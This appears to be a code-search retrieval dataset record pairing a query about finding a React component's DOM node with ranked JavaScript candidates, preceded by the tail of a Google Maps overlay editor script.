MAPEDITOR.GLOBAL.DEFINES.savingOverlayLabel[MAPEDITOR.GLOBAL.DEFINES.csoi] = MAPEDITOR.GLOBAL.DEFINES.incomingPolygonLabel[MAPEDITOR.GLOBAL.DEFINES.csoi];\n MAPEDITOR.TRACER.addTracer(\"[INFO]: MAPEDITOR.GLOBAL.DEFINES.savingOverlayLabel[MAPEDITOR.GLOBAL.DEFINES.csoi]: \" + MAPEDITOR.GLOBAL.DEFINES.savingOverlayLabel[MAPEDITOR.GLOBAL.DEFINES.csoi]);\n MAPEDITOR.TRACER.addTracer(\"[INFO]: MAPEDITOR.GLOBAL.DEFINES.incomingPolygonLabel[MAPEDITOR.GLOBAL.DEFINES.csoi]: \" + MAPEDITOR.GLOBAL.DEFINES.incomingPolygonLabel[MAPEDITOR.GLOBAL.DEFINES.csoi]);\n //set source url to save\n MAPEDITOR.GLOBAL.DEFINES.savingOverlaySourceURL[MAPEDITOR.GLOBAL.DEFINES.csoi] = MAPEDITOR.GLOBAL.DEFINES.incomingPolygonSourceURL[MAPEDITOR.GLOBAL.DEFINES.csoi];\n MAPEDITOR.TRACER.addTracer(\"[INFO]: MAPEDITOR.GLOBAL.DEFINES.savingOverlaySourceURL[MAPEDITOR.GLOBAL.DEFINES.csoi]: \" + MAPEDITOR.GLOBAL.DEFINES.incomingPolygonSourceURL[MAPEDITOR.GLOBAL.DEFINES.csoi]);\n //set bounds to save\n MAPEDITOR.GLOBAL.DEFINES.savingOverlayBounds[MAPEDITOR.GLOBAL.DEFINES.csoi] = MAPEDITOR.GLOBAL.DEFINES.ghostOverlayRectangle[MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex].getBounds();\n MAPEDITOR.TRACER.addTracer(\"[INFO]: MAPEDITOR.GLOBAL.DEFINES.savingOverlayBounds[MAPEDITOR.GLOBAL.DEFINES.csoi]: \" + MAPEDITOR.GLOBAL.DEFINES.ghostOverlayRectangle[MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex].getBounds());\n //set rotation to save\n //alert(\"caching... \\nindex: \" + index + \"\\nwoi: \" + MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex + \"\\ncsoi: \" + MAPEDITOR.GLOBAL.DEFINES.csoi + \"\\nsor: \" + MAPEDITOR.GLOBAL.DEFINES.savingOverlayRotation[MAPEDITOR.GLOBAL.DEFINES.csoi] + \"\\nipr: \" + MAPEDITOR.GLOBAL.DEFINES.incomingPolygonRotation[MAPEDITOR.GLOBAL.DEFINES.csoi] + \"\\npr: \" + MAPEDITOR.GLOBAL.DEFINES.preservedRotation);\n if (MAPEDITOR.GLOBAL.DEFINES.savingOverlayRotation[MAPEDITOR.GLOBAL.DEFINES.csoi] != MAPEDITOR.GLOBAL.DEFINES.incomingPolygonRotation[MAPEDITOR.GLOBAL.DEFINES.csoi]) {\n MAPEDITOR.GLOBAL.DEFINES.savingOverlayRotation[MAPEDITOR.GLOBAL.DEFINES.csoi] = MAPEDITOR.GLOBAL.DEFINES.preservedRotation;\n //alert(\"no match\" + MAPEDITOR.GLOBAL.DEFINES.preservedRotation);\n } else {\n //alert(\"match \" + MAPEDITOR.GLOBAL.DEFINES.savingOverlayRotation[MAPEDITOR.GLOBAL.DEFINES.csoi]);\n }\n MAPEDITOR.GLOBAL.DEFINES.savingOverlayRotation[MAPEDITOR.GLOBAL.DEFINES.csoi] = MAPEDITOR.GLOBAL.DEFINES.preservedRotation;\n MAPEDITOR.TRACER.addTracer(\"[INFO]: MAPEDITOR.GLOBAL.DEFINES.savingOverlayRotation[MAPEDITOR.GLOBAL.DEFINES.csoi]: \" + MAPEDITOR.GLOBAL.DEFINES.savingOverlayRotation[MAPEDITOR.GLOBAL.DEFINES.csoi]);\n //set the pageId to save\n MAPEDITOR.GLOBAL.DEFINES.savingOverlayPageId[MAPEDITOR.GLOBAL.DEFINES.csoi] = MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPageId[MAPEDITOR.GLOBAL.DEFINES.csoi];\n MAPEDITOR.TRACER.addTracer(\"[INFO]: MAPEDITOR.GLOBAL.DEFINES.savingOverlayPageId[MAPEDITOR.GLOBAL.DEFINES.csoi]: \" + MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPageId[MAPEDITOR.GLOBAL.DEFINES.csoi]);\n MAPEDITOR.TRACER.addTracer(\"[INFO]: save overlay cached\");\n MAPEDITOR.TRACER.addTracer(\"[INFO]: cacheSaveOverlay completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n CustomOverlay: function (id, bounds, image, map, rotation) {\n //Starts the creation of a custom overlay div which contains a rectangular image.\n //Supporting URL: https://developers.google.com/maps/documentation/javascript/overlays#CustomOverlays\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: CustomOverlay started...\");\n MAPEDITOR.GLOBAL.DEFINES.overlayCount++; //iterate how many overlays have been drawn\n this.bounds_ = bounds; //set the bounds\n this.image_ = image; //set source url\n this.map_ = map; //set to map\n MAPEDITOR.GLOBAL.DEFINES.preservedRotation = rotation; //set the rotation\n this.div_ = null; //defines a property to hold the image's div. We'll actually create this div upon receipt of the onAdd() method so we'll leave it null for now.\n this.index_ = id; //set the index/id of this overlay\n MAPEDITOR.TRACER.addTracer(\"[INFO]: CustomOverlay completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n }\n };\n }(), //indirectly used fcns\n run: function () {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: MapEditor.run started...\");\n //google.maps.event.addDomListener(window, 'load', MAPEDITOR.GLOBAL.initGMap); //TEMP, when does this get fired?\n MAPEDITOR.UTILITIES.CustomOverlay.prototype = new google.maps.OverlayView(); //used to display custom overlay\n MAPEDITOR.GLOBAL.initJqueryElements();\n MAPEDITOR.GLOBAL.initDeclarations();\n MAPEDITOR.GLOBAL.initListOfTextAreaIds();\n MAPEDITOR.GLOBAL.initLocalization();\n MAPEDITOR.GLOBAL.initListeners();\n initConfigSettings(); //c# to js config vars\n MAPEDITOR.GLOBAL.initGMap();\n window.onkeypress = MAPEDITOR.ACTIONS.keyPress; //keypress shortcuts/actions (MOVE TO dynamic)\n MAPEDITOR.TRACER.addTracer(\"[INFO]: MapEditor.run completed...\");\n } catch(e) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: MapEditor.run failed...\");\n } \n } //init all fcn\n };\n }();\n //once it has been declared, run it\n MAPEDITOR.run();\n}", "title": "" } ]
c761860504b03738efce26428ec3ccdb
Given a ReactDOMComponent or ReactDOMTextComponent, return the corresponding DOM node.
[ { "docid": "001996f5f3d39c544010d0be98b7ff99", "score": "0.0", "text": "function getNodeFromInstance(inst) {\n // Without this first invariant, passing a non-DOM-component triggers the next\n // invariant for a missing parent, which is super confusing.\n !(inst._hostNode !== undefined) ? process.env.NODE_ENV !== 'production' ? invariant(false, 'getNodeFromInstance: Invalid argument.') : _prodInvariant('33') : void 0;\n\n if (inst._hostNode) {\n return inst._hostNode;\n }\n\n // Walk up the tree until we find an ancestor whose DOM node we have cached.\n var parents = [];\n while (!inst._hostNode) {\n parents.push(inst);\n !inst._hostParent ? process.env.NODE_ENV !== 'production' ? invariant(false, 'React DOM tree root should always have a node reference.') : _prodInvariant('34') : void 0;\n inst = inst._hostParent;\n }\n\n // Now parents contains each ancestor that does *not* have a cached native\n // node, and `inst` is the deepest ancestor that does.\n for (; parents.length; inst = parents.pop()) {\n precacheChildNodes(inst, inst._hostNode);\n }\n\n return inst._hostNode;\n}", "title": "" } ]
[ { "docid": "2573538442e24d1ccc09f844cef16613", "score": "0.69183946", "text": "function findDOMNode(node) {\n if (node instanceof HTMLElement) {\n return node;\n }\n if (node instanceof React__default.Component) {\n return ReactDOM.findDOMNode(node);\n }\n return null;\n}", "title": "" }, { "docid": "ea52704a9e8825caa53cf6a00cc45b55", "score": "0.6848941", "text": "function findDOMNode(node) {\n if (isDOM(node)) {\n return node;\n }\n if (node instanceof react.Component) {\n return react_dom.findDOMNode(node);\n }\n return null;\n}", "title": "" }, { "docid": "dee16e862fd25d2f09efd12277dc97b1", "score": "0.6777053", "text": "function findDOMNode(node) {\n if (node instanceof HTMLElement) {\n return node;\n }\n\n return react_dom__WEBPACK_IMPORTED_MODULE_0__.findDOMNode(node);\n}", "title": "" }, { "docid": "dee16e862fd25d2f09efd12277dc97b1", "score": "0.6777053", "text": "function findDOMNode(node) {\n if (node instanceof HTMLElement) {\n return node;\n }\n\n return react_dom__WEBPACK_IMPORTED_MODULE_0__.findDOMNode(node);\n}", "title": "" }, { "docid": "861264ad4cba036c96a58355f3cbd216", "score": "0.67657375", "text": "function findDOMNode(node) {\n if (node instanceof HTMLElement) {\n return node;\n }\n\n return react_dom__WEBPACK_IMPORTED_MODULE_0___default.a.findDOMNode(node);\n}", "title": "" }, { "docid": "861264ad4cba036c96a58355f3cbd216", "score": "0.67657375", "text": "function findDOMNode(node) {\n if (node instanceof HTMLElement) {\n return node;\n }\n\n return react_dom__WEBPACK_IMPORTED_MODULE_0___default.a.findDOMNode(node);\n}", "title": "" }, { "docid": "861264ad4cba036c96a58355f3cbd216", "score": "0.67657375", "text": "function findDOMNode(node) {\n if (node instanceof HTMLElement) {\n return node;\n }\n\n return react_dom__WEBPACK_IMPORTED_MODULE_0___default.a.findDOMNode(node);\n}", "title": "" }, { "docid": "861264ad4cba036c96a58355f3cbd216", "score": "0.67657375", "text": "function findDOMNode(node) {\n if (node instanceof HTMLElement) {\n return node;\n }\n\n return react_dom__WEBPACK_IMPORTED_MODULE_0___default.a.findDOMNode(node);\n}", "title": "" }, { "docid": "861264ad4cba036c96a58355f3cbd216", "score": "0.67657375", "text": "function findDOMNode(node) {\n if (node instanceof HTMLElement) {\n return node;\n }\n\n return react_dom__WEBPACK_IMPORTED_MODULE_0___default.a.findDOMNode(node);\n}", "title": "" }, { "docid": "2b48938d20e511b1edd95bfb89f49309", "score": "0.6740993", "text": "function findFirstReactDOMImpl(node) {\n\t // This node might be from another React instance, so we make sure not to\n\t // examine the node cache here\n\t for (; node && node.parentNode !== node; node = node.parentNode) {\n\t if (node.nodeType !== 1) {\n\t // Not a DOMElement, therefore not a React component\n\t continue;\n\t }\n\t var nodeID = internalGetID(node);\n\t if (!nodeID) {\n\t continue;\n\t }\n\t var reactRootID = ReactInstanceHandles.getReactRootIDFromNodeID(nodeID);\n\t\n\t // If containersByReactRootID contains the container we find by crawling up\n\t // the tree, we know that this instance of React rendered the node.\n\t // nb. isValid's strategy (with containsNode) does not work because render\n\t // trees may be nested and we don't want a false positive in that case.\n\t var current = node;\n\t var lastID;\n\t do {\n\t lastID = internalGetID(current);\n\t current = current.parentNode;\n\t if (current == null) {\n\t // The passed-in node has been detached from the container it was\n\t // originally rendered into.\n\t return null;\n\t }\n\t } while (lastID !== reactRootID);\n\t\n\t if (current === containersByReactRootID[reactRootID]) {\n\t return node;\n\t }\n\t }\n\t return null;\n\t}", "title": "" }, { "docid": "2b48938d20e511b1edd95bfb89f49309", "score": "0.6740993", "text": "function findFirstReactDOMImpl(node) {\n\t // This node might be from another React instance, so we make sure not to\n\t // examine the node cache here\n\t for (; node && node.parentNode !== node; node = node.parentNode) {\n\t if (node.nodeType !== 1) {\n\t // Not a DOMElement, therefore not a React component\n\t continue;\n\t }\n\t var nodeID = internalGetID(node);\n\t if (!nodeID) {\n\t continue;\n\t }\n\t var reactRootID = ReactInstanceHandles.getReactRootIDFromNodeID(nodeID);\n\t\n\t // If containersByReactRootID contains the container we find by crawling up\n\t // the tree, we know that this instance of React rendered the node.\n\t // nb. isValid's strategy (with containsNode) does not work because render\n\t // trees may be nested and we don't want a false positive in that case.\n\t var current = node;\n\t var lastID;\n\t do {\n\t lastID = internalGetID(current);\n\t current = current.parentNode;\n\t if (current == null) {\n\t // The passed-in node has been detached from the container it was\n\t // originally rendered into.\n\t return null;\n\t }\n\t } while (lastID !== reactRootID);\n\t\n\t if (current === containersByReactRootID[reactRootID]) {\n\t return node;\n\t }\n\t }\n\t return null;\n\t}", "title": "" }, { "docid": "2b48938d20e511b1edd95bfb89f49309", "score": "0.6740993", "text": "function findFirstReactDOMImpl(node) {\n\t // This node might be from another React instance, so we make sure not to\n\t // examine the node cache here\n\t for (; node && node.parentNode !== node; node = node.parentNode) {\n\t if (node.nodeType !== 1) {\n\t // Not a DOMElement, therefore not a React component\n\t continue;\n\t }\n\t var nodeID = internalGetID(node);\n\t if (!nodeID) {\n\t continue;\n\t }\n\t var reactRootID = ReactInstanceHandles.getReactRootIDFromNodeID(nodeID);\n\t\n\t // If containersByReactRootID contains the container we find by crawling up\n\t // the tree, we know that this instance of React rendered the node.\n\t // nb. isValid's strategy (with containsNode) does not work because render\n\t // trees may be nested and we don't want a false positive in that case.\n\t var current = node;\n\t var lastID;\n\t do {\n\t lastID = internalGetID(current);\n\t current = current.parentNode;\n\t if (current == null) {\n\t // The passed-in node has been detached from the container it was\n\t // originally rendered into.\n\t return null;\n\t }\n\t } while (lastID !== reactRootID);\n\t\n\t if (current === containersByReactRootID[reactRootID]) {\n\t return node;\n\t }\n\t }\n\t return null;\n\t}", "title": "" }, { "docid": "2b48938d20e511b1edd95bfb89f49309", "score": "0.6740993", "text": "function findFirstReactDOMImpl(node) {\n\t // This node might be from another React instance, so we make sure not to\n\t // examine the node cache here\n\t for (; node && node.parentNode !== node; node = node.parentNode) {\n\t if (node.nodeType !== 1) {\n\t // Not a DOMElement, therefore not a React component\n\t continue;\n\t }\n\t var nodeID = internalGetID(node);\n\t if (!nodeID) {\n\t continue;\n\t }\n\t var reactRootID = ReactInstanceHandles.getReactRootIDFromNodeID(nodeID);\n\t\n\t // If containersByReactRootID contains the container we find by crawling up\n\t // the tree, we know that this instance of React rendered the node.\n\t // nb. isValid's strategy (with containsNode) does not work because render\n\t // trees may be nested and we don't want a false positive in that case.\n\t var current = node;\n\t var lastID;\n\t do {\n\t lastID = internalGetID(current);\n\t current = current.parentNode;\n\t if (current == null) {\n\t // The passed-in node has been detached from the container it was\n\t // originally rendered into.\n\t return null;\n\t }\n\t } while (lastID !== reactRootID);\n\t\n\t if (current === containersByReactRootID[reactRootID]) {\n\t return node;\n\t }\n\t }\n\t return null;\n\t}", "title": "" }, { "docid": "2b48938d20e511b1edd95bfb89f49309", "score": "0.6740993", "text": "function findFirstReactDOMImpl(node) {\n\t // This node might be from another React instance, so we make sure not to\n\t // examine the node cache here\n\t for (; node && node.parentNode !== node; node = node.parentNode) {\n\t if (node.nodeType !== 1) {\n\t // Not a DOMElement, therefore not a React component\n\t continue;\n\t }\n\t var nodeID = internalGetID(node);\n\t if (!nodeID) {\n\t continue;\n\t }\n\t var reactRootID = ReactInstanceHandles.getReactRootIDFromNodeID(nodeID);\n\t\n\t // If containersByReactRootID contains the container we find by crawling up\n\t // the tree, we know that this instance of React rendered the node.\n\t // nb. isValid's strategy (with containsNode) does not work because render\n\t // trees may be nested and we don't want a false positive in that case.\n\t var current = node;\n\t var lastID;\n\t do {\n\t lastID = internalGetID(current);\n\t current = current.parentNode;\n\t if (current == null) {\n\t // The passed-in node has been detached from the container it was\n\t // originally rendered into.\n\t return null;\n\t }\n\t } while (lastID !== reactRootID);\n\t\n\t if (current === containersByReactRootID[reactRootID]) {\n\t return node;\n\t }\n\t }\n\t return null;\n\t}", "title": "" }, { "docid": "2b48938d20e511b1edd95bfb89f49309", "score": "0.6740993", "text": "function findFirstReactDOMImpl(node) {\n\t // This node might be from another React instance, so we make sure not to\n\t // examine the node cache here\n\t for (; node && node.parentNode !== node; node = node.parentNode) {\n\t if (node.nodeType !== 1) {\n\t // Not a DOMElement, therefore not a React component\n\t continue;\n\t }\n\t var nodeID = internalGetID(node);\n\t if (!nodeID) {\n\t continue;\n\t }\n\t var reactRootID = ReactInstanceHandles.getReactRootIDFromNodeID(nodeID);\n\t\n\t // If containersByReactRootID contains the container we find by crawling up\n\t // the tree, we know that this instance of React rendered the node.\n\t // nb. isValid's strategy (with containsNode) does not work because render\n\t // trees may be nested and we don't want a false positive in that case.\n\t var current = node;\n\t var lastID;\n\t do {\n\t lastID = internalGetID(current);\n\t current = current.parentNode;\n\t if (current == null) {\n\t // The passed-in node has been detached from the container it was\n\t // originally rendered into.\n\t return null;\n\t }\n\t } while (lastID !== reactRootID);\n\t\n\t if (current === containersByReactRootID[reactRootID]) {\n\t return node;\n\t }\n\t }\n\t return null;\n\t}", "title": "" }, { "docid": "2b48938d20e511b1edd95bfb89f49309", "score": "0.6740993", "text": "function findFirstReactDOMImpl(node) {\n\t // This node might be from another React instance, so we make sure not to\n\t // examine the node cache here\n\t for (; node && node.parentNode !== node; node = node.parentNode) {\n\t if (node.nodeType !== 1) {\n\t // Not a DOMElement, therefore not a React component\n\t continue;\n\t }\n\t var nodeID = internalGetID(node);\n\t if (!nodeID) {\n\t continue;\n\t }\n\t var reactRootID = ReactInstanceHandles.getReactRootIDFromNodeID(nodeID);\n\t\n\t // If containersByReactRootID contains the container we find by crawling up\n\t // the tree, we know that this instance of React rendered the node.\n\t // nb. isValid's strategy (with containsNode) does not work because render\n\t // trees may be nested and we don't want a false positive in that case.\n\t var current = node;\n\t var lastID;\n\t do {\n\t lastID = internalGetID(current);\n\t current = current.parentNode;\n\t if (current == null) {\n\t // The passed-in node has been detached from the container it was\n\t // originally rendered into.\n\t return null;\n\t }\n\t } while (lastID !== reactRootID);\n\t\n\t if (current === containersByReactRootID[reactRootID]) {\n\t return node;\n\t }\n\t }\n\t return null;\n\t}", "title": "" }, { "docid": "2b48938d20e511b1edd95bfb89f49309", "score": "0.6740993", "text": "function findFirstReactDOMImpl(node) {\n\t // This node might be from another React instance, so we make sure not to\n\t // examine the node cache here\n\t for (; node && node.parentNode !== node; node = node.parentNode) {\n\t if (node.nodeType !== 1) {\n\t // Not a DOMElement, therefore not a React component\n\t continue;\n\t }\n\t var nodeID = internalGetID(node);\n\t if (!nodeID) {\n\t continue;\n\t }\n\t var reactRootID = ReactInstanceHandles.getReactRootIDFromNodeID(nodeID);\n\t\n\t // If containersByReactRootID contains the container we find by crawling up\n\t // the tree, we know that this instance of React rendered the node.\n\t // nb. isValid's strategy (with containsNode) does not work because render\n\t // trees may be nested and we don't want a false positive in that case.\n\t var current = node;\n\t var lastID;\n\t do {\n\t lastID = internalGetID(current);\n\t current = current.parentNode;\n\t if (current == null) {\n\t // The passed-in node has been detached from the container it was\n\t // originally rendered into.\n\t return null;\n\t }\n\t } while (lastID !== reactRootID);\n\t\n\t if (current === containersByReactRootID[reactRootID]) {\n\t return node;\n\t }\n\t }\n\t return null;\n\t}", "title": "" }, { "docid": "2b48938d20e511b1edd95bfb89f49309", "score": "0.6740993", "text": "function findFirstReactDOMImpl(node) {\n\t // This node might be from another React instance, so we make sure not to\n\t // examine the node cache here\n\t for (; node && node.parentNode !== node; node = node.parentNode) {\n\t if (node.nodeType !== 1) {\n\t // Not a DOMElement, therefore not a React component\n\t continue;\n\t }\n\t var nodeID = internalGetID(node);\n\t if (!nodeID) {\n\t continue;\n\t }\n\t var reactRootID = ReactInstanceHandles.getReactRootIDFromNodeID(nodeID);\n\t\n\t // If containersByReactRootID contains the container we find by crawling up\n\t // the tree, we know that this instance of React rendered the node.\n\t // nb. isValid's strategy (with containsNode) does not work because render\n\t // trees may be nested and we don't want a false positive in that case.\n\t var current = node;\n\t var lastID;\n\t do {\n\t lastID = internalGetID(current);\n\t current = current.parentNode;\n\t if (current == null) {\n\t // The passed-in node has been detached from the container it was\n\t // originally rendered into.\n\t return null;\n\t }\n\t } while (lastID !== reactRootID);\n\t\n\t if (current === containersByReactRootID[reactRootID]) {\n\t return node;\n\t }\n\t }\n\t return null;\n\t}", "title": "" }, { "docid": "2b48938d20e511b1edd95bfb89f49309", "score": "0.6740993", "text": "function findFirstReactDOMImpl(node) {\n\t // This node might be from another React instance, so we make sure not to\n\t // examine the node cache here\n\t for (; node && node.parentNode !== node; node = node.parentNode) {\n\t if (node.nodeType !== 1) {\n\t // Not a DOMElement, therefore not a React component\n\t continue;\n\t }\n\t var nodeID = internalGetID(node);\n\t if (!nodeID) {\n\t continue;\n\t }\n\t var reactRootID = ReactInstanceHandles.getReactRootIDFromNodeID(nodeID);\n\t\n\t // If containersByReactRootID contains the container we find by crawling up\n\t // the tree, we know that this instance of React rendered the node.\n\t // nb. isValid's strategy (with containsNode) does not work because render\n\t // trees may be nested and we don't want a false positive in that case.\n\t var current = node;\n\t var lastID;\n\t do {\n\t lastID = internalGetID(current);\n\t current = current.parentNode;\n\t if (current == null) {\n\t // The passed-in node has been detached from the container it was\n\t // originally rendered into.\n\t return null;\n\t }\n\t } while (lastID !== reactRootID);\n\t\n\t if (current === containersByReactRootID[reactRootID]) {\n\t return node;\n\t }\n\t }\n\t return null;\n\t}", "title": "" }, { "docid": "2b48938d20e511b1edd95bfb89f49309", "score": "0.6740993", "text": "function findFirstReactDOMImpl(node) {\n\t // This node might be from another React instance, so we make sure not to\n\t // examine the node cache here\n\t for (; node && node.parentNode !== node; node = node.parentNode) {\n\t if (node.nodeType !== 1) {\n\t // Not a DOMElement, therefore not a React component\n\t continue;\n\t }\n\t var nodeID = internalGetID(node);\n\t if (!nodeID) {\n\t continue;\n\t }\n\t var reactRootID = ReactInstanceHandles.getReactRootIDFromNodeID(nodeID);\n\t\n\t // If containersByReactRootID contains the container we find by crawling up\n\t // the tree, we know that this instance of React rendered the node.\n\t // nb. isValid's strategy (with containsNode) does not work because render\n\t // trees may be nested and we don't want a false positive in that case.\n\t var current = node;\n\t var lastID;\n\t do {\n\t lastID = internalGetID(current);\n\t current = current.parentNode;\n\t if (current == null) {\n\t // The passed-in node has been detached from the container it was\n\t // originally rendered into.\n\t return null;\n\t }\n\t } while (lastID !== reactRootID);\n\t\n\t if (current === containersByReactRootID[reactRootID]) {\n\t return node;\n\t }\n\t }\n\t return null;\n\t}", "title": "" }, { "docid": "779f068cacd028329ab6a3cd291f8aae", "score": "0.673983", "text": "function findDOMNode(node) {\n if (node instanceof HTMLElement) {\n return node;\n }\n\n return _reactDom.default.findDOMNode(node);\n}", "title": "" }, { "docid": "779f068cacd028329ab6a3cd291f8aae", "score": "0.673983", "text": "function findDOMNode(node) {\n if (node instanceof HTMLElement) {\n return node;\n }\n\n return _reactDom.default.findDOMNode(node);\n}", "title": "" }, { "docid": "779f068cacd028329ab6a3cd291f8aae", "score": "0.673983", "text": "function findDOMNode(node) {\n if (node instanceof HTMLElement) {\n return node;\n }\n\n return _reactDom.default.findDOMNode(node);\n}", "title": "" }, { "docid": "f89ef561ec099592b712eb17b9343150", "score": "0.6731892", "text": "function findFirstReactDOMImpl(node) {\n\t // This node might be from another React instance, so we make sure not to\n\t // examine the node cache here\n\t for (; node && node.parentNode !== node; node = node.parentNode) {\n\t if (node.nodeType !== 1) {\n\t // Not a DOMElement, therefore not a React component\n\t continue;\n\t }\n\t var nodeID = internalGetID(node);\n\t if (!nodeID) {\n\t continue;\n\t }\n\t var reactRootID = ReactInstanceHandles.getReactRootIDFromNodeID(nodeID);\n\n\t // If containersByReactRootID contains the container we find by crawling up\n\t // the tree, we know that this instance of React rendered the node.\n\t // nb. isValid's strategy (with containsNode) does not work because render\n\t // trees may be nested and we don't want a false positive in that case.\n\t var current = node;\n\t var lastID;\n\t do {\n\t lastID = internalGetID(current);\n\t current = current.parentNode;\n\t if (current == null) {\n\t // The passed-in node has been detached from the container it was\n\t // originally rendered into.\n\t return null;\n\t }\n\t } while (lastID !== reactRootID);\n\n\t if (current === containersByReactRootID[reactRootID]) {\n\t return node;\n\t }\n\t }\n\t return null;\n\t}", "title": "" }, { "docid": "f89ef561ec099592b712eb17b9343150", "score": "0.6731892", "text": "function findFirstReactDOMImpl(node) {\n\t // This node might be from another React instance, so we make sure not to\n\t // examine the node cache here\n\t for (; node && node.parentNode !== node; node = node.parentNode) {\n\t if (node.nodeType !== 1) {\n\t // Not a DOMElement, therefore not a React component\n\t continue;\n\t }\n\t var nodeID = internalGetID(node);\n\t if (!nodeID) {\n\t continue;\n\t }\n\t var reactRootID = ReactInstanceHandles.getReactRootIDFromNodeID(nodeID);\n\n\t // If containersByReactRootID contains the container we find by crawling up\n\t // the tree, we know that this instance of React rendered the node.\n\t // nb. isValid's strategy (with containsNode) does not work because render\n\t // trees may be nested and we don't want a false positive in that case.\n\t var current = node;\n\t var lastID;\n\t do {\n\t lastID = internalGetID(current);\n\t current = current.parentNode;\n\t if (current == null) {\n\t // The passed-in node has been detached from the container it was\n\t // originally rendered into.\n\t return null;\n\t }\n\t } while (lastID !== reactRootID);\n\n\t if (current === containersByReactRootID[reactRootID]) {\n\t return node;\n\t }\n\t }\n\t return null;\n\t}", "title": "" }, { "docid": "f89ef561ec099592b712eb17b9343150", "score": "0.6731892", "text": "function findFirstReactDOMImpl(node) {\n\t // This node might be from another React instance, so we make sure not to\n\t // examine the node cache here\n\t for (; node && node.parentNode !== node; node = node.parentNode) {\n\t if (node.nodeType !== 1) {\n\t // Not a DOMElement, therefore not a React component\n\t continue;\n\t }\n\t var nodeID = internalGetID(node);\n\t if (!nodeID) {\n\t continue;\n\t }\n\t var reactRootID = ReactInstanceHandles.getReactRootIDFromNodeID(nodeID);\n\n\t // If containersByReactRootID contains the container we find by crawling up\n\t // the tree, we know that this instance of React rendered the node.\n\t // nb. isValid's strategy (with containsNode) does not work because render\n\t // trees may be nested and we don't want a false positive in that case.\n\t var current = node;\n\t var lastID;\n\t do {\n\t lastID = internalGetID(current);\n\t current = current.parentNode;\n\t if (current == null) {\n\t // The passed-in node has been detached from the container it was\n\t // originally rendered into.\n\t return null;\n\t }\n\t } while (lastID !== reactRootID);\n\n\t if (current === containersByReactRootID[reactRootID]) {\n\t return node;\n\t }\n\t }\n\t return null;\n\t}", "title": "" }, { "docid": "f89ef561ec099592b712eb17b9343150", "score": "0.6731892", "text": "function findFirstReactDOMImpl(node) {\n\t // This node might be from another React instance, so we make sure not to\n\t // examine the node cache here\n\t for (; node && node.parentNode !== node; node = node.parentNode) {\n\t if (node.nodeType !== 1) {\n\t // Not a DOMElement, therefore not a React component\n\t continue;\n\t }\n\t var nodeID = internalGetID(node);\n\t if (!nodeID) {\n\t continue;\n\t }\n\t var reactRootID = ReactInstanceHandles.getReactRootIDFromNodeID(nodeID);\n\n\t // If containersByReactRootID contains the container we find by crawling up\n\t // the tree, we know that this instance of React rendered the node.\n\t // nb. isValid's strategy (with containsNode) does not work because render\n\t // trees may be nested and we don't want a false positive in that case.\n\t var current = node;\n\t var lastID;\n\t do {\n\t lastID = internalGetID(current);\n\t current = current.parentNode;\n\t if (current == null) {\n\t // The passed-in node has been detached from the container it was\n\t // originally rendered into.\n\t return null;\n\t }\n\t } while (lastID !== reactRootID);\n\n\t if (current === containersByReactRootID[reactRootID]) {\n\t return node;\n\t }\n\t }\n\t return null;\n\t}", "title": "" }, { "docid": "f89ef561ec099592b712eb17b9343150", "score": "0.6731892", "text": "function findFirstReactDOMImpl(node) {\n\t // This node might be from another React instance, so we make sure not to\n\t // examine the node cache here\n\t for (; node && node.parentNode !== node; node = node.parentNode) {\n\t if (node.nodeType !== 1) {\n\t // Not a DOMElement, therefore not a React component\n\t continue;\n\t }\n\t var nodeID = internalGetID(node);\n\t if (!nodeID) {\n\t continue;\n\t }\n\t var reactRootID = ReactInstanceHandles.getReactRootIDFromNodeID(nodeID);\n\n\t // If containersByReactRootID contains the container we find by crawling up\n\t // the tree, we know that this instance of React rendered the node.\n\t // nb. isValid's strategy (with containsNode) does not work because render\n\t // trees may be nested and we don't want a false positive in that case.\n\t var current = node;\n\t var lastID;\n\t do {\n\t lastID = internalGetID(current);\n\t current = current.parentNode;\n\t if (current == null) {\n\t // The passed-in node has been detached from the container it was\n\t // originally rendered into.\n\t return null;\n\t }\n\t } while (lastID !== reactRootID);\n\n\t if (current === containersByReactRootID[reactRootID]) {\n\t return node;\n\t }\n\t }\n\t return null;\n\t}", "title": "" }, { "docid": "f89ef561ec099592b712eb17b9343150", "score": "0.6731892", "text": "function findFirstReactDOMImpl(node) {\n\t // This node might be from another React instance, so we make sure not to\n\t // examine the node cache here\n\t for (; node && node.parentNode !== node; node = node.parentNode) {\n\t if (node.nodeType !== 1) {\n\t // Not a DOMElement, therefore not a React component\n\t continue;\n\t }\n\t var nodeID = internalGetID(node);\n\t if (!nodeID) {\n\t continue;\n\t }\n\t var reactRootID = ReactInstanceHandles.getReactRootIDFromNodeID(nodeID);\n\n\t // If containersByReactRootID contains the container we find by crawling up\n\t // the tree, we know that this instance of React rendered the node.\n\t // nb. isValid's strategy (with containsNode) does not work because render\n\t // trees may be nested and we don't want a false positive in that case.\n\t var current = node;\n\t var lastID;\n\t do {\n\t lastID = internalGetID(current);\n\t current = current.parentNode;\n\t if (current == null) {\n\t // The passed-in node has been detached from the container it was\n\t // originally rendered into.\n\t return null;\n\t }\n\t } while (lastID !== reactRootID);\n\n\t if (current === containersByReactRootID[reactRootID]) {\n\t return node;\n\t }\n\t }\n\t return null;\n\t}", "title": "" }, { "docid": "f89ef561ec099592b712eb17b9343150", "score": "0.6731892", "text": "function findFirstReactDOMImpl(node) {\n\t // This node might be from another React instance, so we make sure not to\n\t // examine the node cache here\n\t for (; node && node.parentNode !== node; node = node.parentNode) {\n\t if (node.nodeType !== 1) {\n\t // Not a DOMElement, therefore not a React component\n\t continue;\n\t }\n\t var nodeID = internalGetID(node);\n\t if (!nodeID) {\n\t continue;\n\t }\n\t var reactRootID = ReactInstanceHandles.getReactRootIDFromNodeID(nodeID);\n\n\t // If containersByReactRootID contains the container we find by crawling up\n\t // the tree, we know that this instance of React rendered the node.\n\t // nb. isValid's strategy 